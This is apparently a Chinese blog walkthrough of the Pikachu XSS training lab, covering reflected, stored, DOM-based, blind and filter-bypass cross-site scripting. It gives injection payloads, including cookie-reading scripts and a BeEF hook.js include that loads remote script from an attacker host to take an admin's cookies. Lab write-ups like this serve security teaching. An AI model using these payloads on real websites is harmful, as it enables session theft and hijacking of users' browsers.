pikachu靶場-XSS

XSS:

XSS(跨站腳本)概述

Cross-Site Scripting 簡稱為“CSS”,為避免與前端疊成樣式表的縮寫"CSS"沖突,故又稱XSS。一般XSS可以分為如下幾種常見類型:
1.反射性XSS;
2.存儲型XSS;
3.DOM型XSS;
XSS漏洞一直被評估為web漏洞中危害較大的漏洞,在OWASP TOP10的排名中一直屬于前三的江湖地位。
XSS是一種發生在前端瀏覽器端的漏洞,所以其危害的對象也是前端用戶。
形成XSS漏洞的主要原因是程序對輸入和輸出沒有做合適的處理,導致“精心構造”的字符輸出在前端時被瀏覽器當作有效代碼解析執行從而產生危害。
因此在XSS漏洞的防范上,一般會采用“對輸入進行過濾”和“輸出進行轉義”的方式進行處理:
輸入過濾:對輸入進行過濾,不允許可能導致XSS攻擊的字符輸入;
輸出轉義:根據輸出點的位置對輸出到前端的內容進行適當轉義;
你可以通過“Cross-Site Scripting”對應的測試欄目,來進一步的了解該漏洞。

目錄

XSS:

1.反射型xss(get):

2.反射性xss(post):

3.存儲型xss:

4.DOM型xss:

5.DOM型xss-x:

6.xss盲打:

7.xss之過濾:

8.xss之htmlspecialchars:

9.xss之href輸出:

10.xss之js輸出:

1.反射型xss(get):

這里是用get請求做了一個長度的限制,我們使用hackbar來進行傳參,頁面會彈出一個xss,證明存在xss漏洞,我們順便講一下 beef-xss工具。

<script>alert('xss')</script>

我們先登錄平臺,在靶場這里輸入上面的XSS重定向

上線后,即可看見盜取瀏覽器的cookie等操作。

2.反射性xss(post):

這里我們首先登陸一下,

利用burp抓包修改以下代碼。即可返回當前的cookie。

<script>alert(document.cookie)</script>

3.存儲型xss:

個人理解:多數在留言板或者評論區,任意用戶訪問到該頁面時,都會存在你的惡意代碼。

這里一樣的,輸入以下代碼,我們訪問試試。任何人訪問時都會進行彈窗。

<script>alert(document.cookie)</script>

4.DOM型xss:

在輸入框隨便輸入 11 ,F12 可以看見,11 被添加在了 <a> </a> 標簽里面(html的超鏈接標簽)

開始構建payload

以下是源碼部分<div id="xssd_main"><script>function domxss(){var str = document.getElementById("text").value;document.getElementById("dom").innerHTML = "<a href='"+str+"'>what do you see?</a>";}</script><!--<a href="" onclick=('xss')>--><input id="text" name="text" type="text"  value="" /><input id="button" type="button" value="click me!" onclick="domxss()" /><div id="dom"></div></div>
---------------------------------------------------<a href=''>what do you see?</a>這里很明顯 我們要在引號上做更多的操作
我們輸入 '> 變成了<a href=''>'>what do you see?</a>
很明顯我們可以構造一個點擊事件 'onclick='alert(1)'> 
點擊 what do you see? 的超鏈接時就可以進行彈框。

我們還可以有其他操作。

  <a href=''>what do you see?</a>這里很明顯 我們要在引號上做更多的操作
我們輸入 '> 變成了<a href=''>'>what do you see?</a>
很明顯我們可以構造一個點擊事件 'onclick='alert(1)'> 
點擊 what do you see? 的超鏈接時就可以進行彈框。
我們可以添加一個圖像和一個錯誤事件,當找不到圖像的地址時就可以利用 onerror 事件來進行彈框
'onclick='alert(1)'><img src=''onerror='alert('xss')'/>
'><img src=''onerror='alert(1)'/>
即變成<a href=''><img src=''onerror='alert(1)'/>'>what do you see?</a>
輸入 '><img src=''onerror='alert(1)'/> 提交后,即可直接彈窗。

5.DOM型xss-x:

這題和上面的沒啥區別,先看看源碼。

點擊<a></a>標簽執行 function domxss() 彈出 xss。

payload

'onclick='alert(1)'>
function domxss(){var str = window.location.search;  獲取當前URL的查詢字符串部分var txss = decodeURIComponent(str.split("text=")[1]); 將查詢字符串按照"text="進行分割,返回一個數組,用于解碼字符串,將特殊字符轉換為原始字符。var xss = txss.replace(/\+/g,' ');  是一個正則表達式,用于匹配加號字符。函數將匹配到的加號字符替換為空格
//                        alert(xss);  最后,將處理后的字符串賦值給變量xssdocument.getElementById("dom").innerHTML = "<a href='"+xss+"'>就讓往事都隨風,都隨風吧</a>";}</script><!--<a href="" onclick=('xss')>--><form method="get"><input id="text" name="text" type="text"  value="" /><input id="submit" type="submit" value="請說出你的傷心往事"/></form><div id="dom"></div></div><a href='#' onclick='domxss()'>有些費盡心機想要忘記的事情,后來真的就忘掉了</a>

6.xss盲打:

先提交數據,再看看提示,登錄后臺,可以看見提交的數據。

我們再次利用 beef-xss 在上方輸入框輸入:

<script src="http://192.168.10.129:3000/hook.js"></script>

我們點擊提交,在登陸后臺,beef-xss 即可上線。獲取后臺登陸cookie。

7.xss之過濾:

我們嘗試的輸入:

<script>alert(1)</script>
回顯只留下了 >
srcipt
沒有過濾
<script>
只保留 >  發現是過濾的 <scrip

方法很簡單,不用 <script></script> 標簽即可。

我們添加一個圖像和一個 onerror 事件。

<img src=''onerror='alert(1)'/>

8.xss之htmlspecialchars:

htmlspecialcharsphp的一個函數,可以輸入和返回一個字符串。

我們將 <script> 輸入得到 &lt;script&gt;

<?php
echo htmlspecialchars("<script>");
&lt;script&gt;
很明顯是把 < > 轉義了。

我們在輸入框中輸入 <srcipt> 看源代碼得到

我們可以看到 ' 是沒有被轉義的,所以我們創建一個點擊事件。

'onclick='alert(1)'

OK,成功彈窗。

9.xss之href輸出:

這里我們在輸入框隨便輸入 1234 ,發現沒有效果,看看源碼,發現 ' 被轉義。

輸入框輸入: 'οnclick='alert(1)'

'onclick='alert(1)'
&#039;onclick=&#039;alert(1)&#039

10.xss之js輸出:

輸入框輸入 <script>alert(1)</script> 頁面毫無變化。

查看源碼:

<script>$ms='<script>alert(1)</script>';
//輸入的字符變成了變量,我們構造一下
//$ms='';
//$ms='';alert(1);//';  //這樣子即可
// payload ';alert(1);//if($ms.length != 0){if($ms == 'tmac'){$('#fromjs').text('tmac確實厲害,看那小眼神..')}else {
//            alert($ms);$('#fromjs').text('無論如何不要放棄心中所愛..')}}
</script>

輸入嘗試,成功彈窗。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/news/696163.shtml
繁體地址,請注明出處:http://hk.pswp.cn/news/696163.shtml
英文地址,請注明出處:http://en.pswp.cn/news/696163.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

QT的UI入門

二、UI入門 QWidget類&#xff08;熟悉&#xff09; QWidget類是所有組件和窗口的基類&#xff0c;內部包含了一些基礎的界面特性。 常用屬性&#xff1a; 修改坐標 x : const int 橫坐標&#xff0c;每個圖形的左上角為定位點&#xff0c;橫軸的零點在屏幕的最左邊&#xff0c…

js實現復制功能

一、具體場景 前端有時需要實現點擊按鈕復制的功能&#xff0c;這個時候就不能讓用戶去手動選擇內容右鍵復制了。 二、實現方式 1. document.execCommand &#xff08;1&#xff09;具體實現 復制時&#xff0c;先選中文本&#xff0c;然后調用document.execCommand(‘copy’)…

171基于matlab的隨機共振微弱信號檢測

基于matlab的隨機共振微弱信號檢測&#xff0c;隨機共振描述了過阻尼布朗粒子受周期性信號和隨機噪聲的共同作用下,在非線性雙穩態系統中所發生的躍遷現象. 隨機共振可用于弱信號的檢測。程序已調通&#xff0c;可直接運行。

共享之力:分布式計算的奇跡

在信息時代的浪潮中&#xff0c;分布式計算作為一種革命性的技術&#xff0c;已經深刻地改變了我們對計算和數據處理的理解方式。其發展歷程既是一段精彩的科技史&#xff0c;也是一段充滿探索與突破的冒險故事&#xff0c;從最初的概念探索到如今的普及應用&#xff0c;分布式…

HashMap 源碼學習-jdk1.8

1、一些常量的定義 這里針對MIN_TREEIFY_CAPACITY 這個值進行解釋一下。 java8里面&#xff0c;HashMap 的數據結構是數組 &#xff08;鏈表或者紅黑樹&#xff09;&#xff0c;每個數組節點下可能會存在鏈表和紅黑樹之間的轉換&#xff0c;當同一個索引下面的節點超過8個時…

【Webpack】處理字體圖標和音視頻資源

處理字體圖標資源 1. 下載字體圖標文件 打開阿里巴巴矢量圖標庫open in new window選擇想要的圖標添加到購物車&#xff0c;統一下載到本地 2. 添加字體圖標資源 src/fonts/iconfont.ttf src/fonts/iconfont.woff src/fonts/iconfont.woff2 src/css/iconfont.css 注意字體…

[計算機網絡]---TCP協議

前言 作者&#xff1a;小蝸牛向前沖 名言&#xff1a;我可以接受失敗&#xff0c;但我不能接受放棄 如果覺的博主的文章還不錯的話&#xff0c;還請點贊&#xff0c;收藏&#xff0c;關注&#x1f440;支持博主。如果發現有問題的地方歡迎?大家在評論區指正 目錄 一 、TCP協…

Java并發基礎:原子類之AtomicBoolean全面解析

本文概要 AtomicBoolean類優點在于能夠確保布爾值在多線程環境下的原子性操作&#xff0c;避免了繁瑣的同步措施&#xff0c;它提供了高效的非阻塞算法實現&#xff0c;可以大大提成程序的并發性能&#xff0c;AtomicBoolean的API設計非常簡單易用。 AtomicBoolean核心概念 …

P1024 [NOIP2001 提高組] 一元三次方程求解

P1024 [NOIP2001 提高組] 一元三次方程求解 純代碼記錄 #include <iostream> #include <math.h> using namespace std; double a,b,c,d; double res[3];//用于存放三個解 int resCount;inline double F(double x)//三次函數 {return a*pow(x,3)b*pow(x,2)c*xd; }//…

web前端開發this指向問題

? 函數內部中的 this 指向誰&#xff0c;不是在函數定義時決定的&#xff0c;而是在函數第一次調用并執行的時候決定的 1. call 方法 語法&#xff1a;函數名.call(調用者, 參數1, …) 作用&#xff1a;函數被借用時&#xff0c;會立即執行&#xff0c;并且函數體內的this會…

Facebook Horizon:探索虛擬現實中的社交空間

隨著科技的不斷進步&#xff0c;虛擬現實&#xff08;VR&#xff09;技術正成為社交互動和娛樂體驗的新前沿。在這個數字時代&#xff0c;Facebook作為全球最大的社交媒體平臺之一&#xff0c;正在引領虛擬社交的新時代&#xff0c;其推出的虛擬社交平臺Facebook Horizon成為了…

Tomcat線程池原理(下篇:工作原理)

文章目錄 前言正文一、執行線程的基本流程1.1 JUC中的線程池執行線程1.2 Tomcat 中線程池執行線程 二、被改造的阻塞隊列2.1 TaskQueue的 offer(...)2.2 TaskQueue的 force(...) 三、總結 前言 Tomcat 線程池&#xff0c;是依據 JUC 中的線程池 ThreadPoolExecutor 重新自定義…

深入理解C語言(5):程序環境和預處理詳解

文章主題&#xff1a;程序環境和預處理詳解&#x1f30f;所屬專欄&#xff1a;深入理解C語言&#x1f4d4;作者簡介&#xff1a;更新有關深入理解C語言知識的博主一枚&#xff0c;記錄分享自己對C語言的深入解讀。&#x1f606;個人主頁&#xff1a;[?]的個人主頁&#x1f3c4…

Imagewheel私人圖床搭建結合內網穿透實現無公網IP遠程訪問教程

文章目錄 1.前言2. Imagewheel網站搭建2.1. Imagewheel下載和安裝2.2. Imagewheel網頁測試2.3.cpolar的安裝和注冊 3.本地網頁發布3.1.Cpolar臨時數據隧道3.2.Cpolar穩定隧道&#xff08;云端設置&#xff09;3.3.Cpolar穩定隧道&#xff08;本地設置&#xff09; 4.公網訪問測…

flutter 文件上傳組件和大文件分片上傳

文件分片上傳 資料 https://www.cnblogs.com/caijinglong/p/11558389.html 使用分段上傳來上傳和復制對象 - Amazon Simple Storage Service 因為公司使用的是亞馬遜的s3桶 下面是查閱資料獲得的 亞馬遜s3桶的文件上傳分片 分段上分為三個步驟&#xff1a;開始上傳、上傳對…

CSP-J 2023 T3 一元二次方程

文章目錄 題目題目背景題目描述輸入格式輸出格式樣例 #1樣例輸入 #1樣例輸出 #1 提示 題目傳送門題解思路總代碼 提交結果尾聲 題目 題目背景 眾所周知&#xff0c;對一元二次方程 a x 2 b x c 0 , ( a ≠ 0 ) ax ^ 2 bx c 0, (a \neq 0) ax2bxc0,(a0)&#xff0c;可…

STM32G030C8T6:定時器1ms中斷(以64MHz外部晶振為例)

本專欄記錄STM32開發各個功能的詳細過程&#xff0c;方便自己后續查看&#xff0c;當然也供正在入門STM32單片機的兄弟們參考&#xff1b; 本小節的目標是&#xff0c;系統主頻64 MHZ,采用高速外部晶振&#xff0c;通過定時器3 每秒中斷控制 PB9 引腳輸出高低電平&#xff0c;從…

20240222作業

完善對話框&#xff0c;點擊登錄對話框&#xff0c;如果賬號和密碼匹配&#xff0c;則彈出信息對話框&#xff0c;給出提示“登錄成功"&#xff0c;提供一個Ok按鈕&#xff0c;用戶點擊OK后&#xff0c;關閉登錄界面&#xff0c;跳轉到其他界面 如果賬號和密碼不匹配&…

Java基礎-注解

注解 注解是用來干什么的它有什么作用注解的常見分類內置注解Override注解定義 Deprecated注解定義 SuppressWarnings注解定義 元注解Target注解定義ElementType Retention&&RetentionTarget注解定義RetentionPolicy Documented注解定義 Inherited注解定義用法 Repeata…

低代碼開發:推動互聯網企業數字化轉型的關鍵因素

聯網行業作為我國數字經濟發展的核心驅動力&#xff0c;在推動國家數字化轉型中扮演著至關重要的角色。與其他傳統行業相比&#xff0c;互聯網企業面臨更加緊迫的數字化轉型需求&#xff0c;因為它們需要不斷適應快速變化的市場環境和技術趨勢。 然而&#xff0c;由于互聯網企業…